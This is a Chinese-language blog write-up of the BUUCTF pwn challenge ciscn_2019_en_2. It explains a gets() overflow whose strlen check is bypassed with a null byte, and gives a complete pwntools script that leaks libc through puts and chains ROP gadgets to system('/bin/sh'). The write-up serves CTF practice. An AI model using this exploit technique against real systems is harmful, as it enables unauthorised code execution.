ciscn_2019_en_2

最新推荐文章于 2023-04-11 09:16:10 发布

[mzq]

最新推荐文章于 2023-04-11 09:16:10 发布

阅读量157

点赞数

分类专栏： buuctf ctf 笔记

本文链接：https://blog.csdn.net/zip471642048/article/details/125440608

版权

缓冲区溢出 ROP libc泄露 system函数 exploit

关键词由CSDN通过智能技术生成

笔记同时被 3 个专栏收录

113 篇文章 5 订阅

订阅专栏

ctf

107 篇文章 4 订阅

订阅专栏

buuctf

39 篇文章 0 订阅

订阅专栏

ciscn_2019_en_2

题目地址 : https://buuoj.cn/challenges#ciscn_2019_en_2
在这里插入图片描述

main函数

主要是进行表单选项展示和选择，根据123来进行选项操作，关键的是encrypt函数

在这里插入图片描述

encrypt函数

这个函数是关键利用点
gets无限溢出，strlen对长度进行检查，但是可以被\x00绕过，然后这个函数是对输入的字符进行异或这并没有什么影响

在这里插入图片描述

但是程序中并无后门函数，这就需要我们泄漏libc中的system函数的地址和\bin\sh的地址来构造rop

exp

from pwn import *
from LibcSearcher import LibcSearcher
io = process('./ciscn_2019_en_2')
io = remote("node4.buuoj.cn",29425)
elf = ELF('./ciscn_2019_en_2')
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
_start_addr = elf.symbols['_start']
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
payload = b'\x00'+b'a'*87+p64(pop_rdi)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(_start_addr)
 
io.sendlineafter('Input your choice!\n','1')
 
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()
io.recvline()
#puts_addr=u64(io.recv()[0:8])
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print hex(puts_addr)
#libc = LibcSearcher('puts',puts_addr)
#libcbase = puts_addr - libc.dump('puts')
#print libcbase
#system_addr = libcbase + libc.dump('system')
#binsh_addr = libcbase + libc.dump('str_bin_sh')
libc = ELF("libc-2.27.so")

offset = puts_addr - libc.symbols["puts"]
system_addr = libc.symbols["system"] + offset
binsh_addr = next(libc.search("/bin/sh")) + offset
payload = b'\x00'+b'a'*87 + p64(pop_rdi) + p64(binsh_addr)+p64(ret)+p64(system_addr)+p64(0)
io.sendline('1')
io.recv()
io.sendline(payload)
io.interactive()